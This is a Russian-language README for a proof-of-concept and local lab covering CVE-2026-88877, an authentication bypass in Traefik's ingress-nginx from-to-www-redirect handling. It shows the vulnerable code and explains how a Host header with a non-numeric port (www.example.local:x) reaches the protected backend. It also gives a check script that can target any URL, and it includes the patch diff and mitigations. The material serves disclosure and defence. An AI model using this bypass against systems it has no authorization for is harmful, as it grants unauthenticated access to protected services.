
Proof-of-concept и воспроизводимая лаборатория для CVE-2026-88877 — обхода аутентификации в Traefik ingress-nginx через from-to-www-redirect, с режимом проверки только для чтения.
v3.7.0–v3.7.11 — Обход аутентификации через from-to-www-redirectАвтор: pwnVader · Лицензия: MIT (корень репозитория)
| Компонент | Traefik (провайдер Kubernetes ingress-nginx, providers.kubernetesingressnginx) |
| Тип | CWE-639 — Обход авторизации через управляемый пользователем ключ |
| Затронуто | Traefik >= v3.7.0, <= v3.7.11 (v2 и < v3.7.0 не затронуты) |
| Исправлено | v3.7.12 |
| CVE | CVE-2026-88877 — CVSS 4.0 9.3 (Critical, согласно рекомендации вендора) · CVSS 3.1 9.8 (как опубликовано в некоторых базах уязвимостей) |
| Официальная рекомендация | GHSA-cjr6-pf59-jq29 (рекомендация репозитория Traefik) |
| PoC | poc.sh · lab/ |
Статус раскрытия. Данная уязвимость была публично раскрыта проектом Traefik и исправлена в v3.7.12. Этот документ представляет собой независимый технический анализ с воспроизводимой лабораторией — он не является первоначальным обнаружением. Уязвимость была заявлена/раскрыта через рекомендацию вендора, указанную выше (см. также рекомендацию VulnCheck). Не используйте этот материал против систем без явного разрешения.
Идентификаторы GHSA. Официальная рекомендация репозитория — GHSA-cjr6-pf59-jq29. Общая база рекомендаций GitHub также содержит отдельную запись, GHSA-9rch-gvf7-hrfc, для той же проблемы; при цитировании уязвимости предпочитайте рекомендацию репозитория.
Когда Ingress содержит одновременно аннотацию аутентификации (например,
nginx.ingress.kubernetes.io/auth-type: basic) и
nginx.ingress.kubernetes.io/from-to-www-redirect: "true", провайдер ingress-nginx в Traefik
создаёт дополнительный «соседний» роутер, который сопоставляется только с хостом, несёт
только сгенерированное middleware RedirectRegex и по-прежнему указывает на защищённый бэкенд:
// pkg/provider/kubernetes/ingress-nginx/translator.go (v3.7.10)
conf.HTTP.Middlewares[mwName] = &dynamic.Middleware{
RedirectRegex: &dynamic.RedirectRegex{
Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
Replacement: fmt.Sprintf("$1://%s$2/$3", f.TargetHostname),
StatusCode: new(http.StatusPermanentRedirect), // 308
},
}
conf.HTTP.Routers[routerKey+"-from-to-www-redirect"] = &dynamic.Router{
Rule: f.ExtraRouterRule, // Host("www.example.com")
Middlewares: []string{mwName}, // ONLY the redirect middleware
Service: rt.Service, // <-- the protected backend
}
RedirectRegex не является терминальным обработчиком: если его регулярное выражение не
совпадает, запрос передаётся следующему обработчику и в конечном итоге проксируется на бэкенд.
Регулярное выражение принимает только числовой порт ((:[0-9]+)?), тогда как сопоставитель
Host() в Traefik канонизирует authority через net.SplitHostPort. Запрос, в заголовке Host
которого указан нечисловой или пустой порт, следовательно:
Host("www.example.com")), ноwww.example.com:x), поэтому не перенаправляется, иОдин неаутентифицированный запрос — Host: www.example.com:x — достигает бэкенда, требующего
аутентификации. Возвращаемый HTTP-статус зависит от самого бэкенда: в этой лаборатории бэкенд
traefik/whoami отвечает 200, но с точки зрения безопасности важно то, что запрос достиг
бэкенда без аутентификации, а не конкретный код состояния.
v3.7.0–v3.7.11, запущенный с включённым провайдером ingress-nginx
(--providers.kubernetesingressnginx=true).nginx.ingress.kubernetes.io/from-to-www-redirect: "true", для хоста без пары с www.
(иначе соседний роутер не генерируется).# requirements: docker, kind (https://kind.sigs.k8s.io), kubectl
./lab/up.sh # kind cluster + Traefik v3.7.10 + whoami + protected Ingress
./poc.sh lab # applies manifests, exposes the lab on 127.0.0.1:18080, tests
./lab/down.sh # tear down
poc.sh check также можно направить на любое предполагаемое развёртывание:
./poc.sh check --url https://target.example --host target.example --verbose
[1] Protected host (Host: example.local) — authentication must be enforced
HTTP 401
[PASS] auth middleware enforced (HTTP 401)
[2] www host (Host: www.example.local) — the redirect router
HTTP 308
[PASS] redirect router responds (HTTP 308)
[3] Bypass attempt (Host: www.example.local:x) — non-numeric port
HTTP 200
> Hostname: whoami-ff77f998d-25f6n
> RemoteAddr: 10.244.0.8:57586
> X-Forwarded-Server: traefik-7f76f4c58d-5knfz
== RESULT ==
[PASS] VULNERABLE: the request reached the protected backend without authentication (HTTP 200)
Бэкенд, используемый в лаборатории (traefik/whoami), отражает запрос, доказывая, что запрос
достиг защищённого сервиса без заголовка Authorization и без применения middleware
аутентификации. Показанный код состояния (200) — это то, что возвращает именно этот бэкенд; с
другим бэкендом обход может проявиться как другой ответ, не являющийся 401/403/перенаправлением.
- Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
+ // Anchored to prevent ReplaceAllString from rewriting past the leading URL.
+ Regex: `^(https?)://(?:\[[^/\]]*\]|[^/:]+)(:[0-9]+)?[^/]*/(.*?)/?$`,
...
- Service: rt.Service,
+ // The redirect router does not carry the location middlewares (auth included),
+ // so it must never reach the backend.
+ Service: unavailableServiceName,
Теперь роутер перенаправления указывает на внутренний сервис unavailable, поэтому даже если
запрос проскочит мимо регулярного выражения, он никогда не сможет достичь защищённого бэкенда.
Обновитесь до Traefik v3.7.12 или более поздней версии. Установки, которые не могут
обновиться, должны временно удалить nginx.ingress.kubernetes.io/from-to-www-redirect из любого
Ingress, который сочетает аутентификацию или списки разрешённых, и реализовать перенаправление с
помощью конфигурации, сохраняющей middleware контроля доступа (например, явные CRD Traefik
RedirectScheme/RedirectRegex с прикреплёнными middleware). Защита в глубину: также
обеспечивайте аутентификацию на бэкенде/вышестоящем узле.
Только для авторизованного тестирования безопасности. Лаборатория является локальной и
самодостаточной; режим check работает только на чтение (три GET-запроса) и должен
использоваться только против систем, которыми вы владеете или которые вам явно разрешено
тестировать.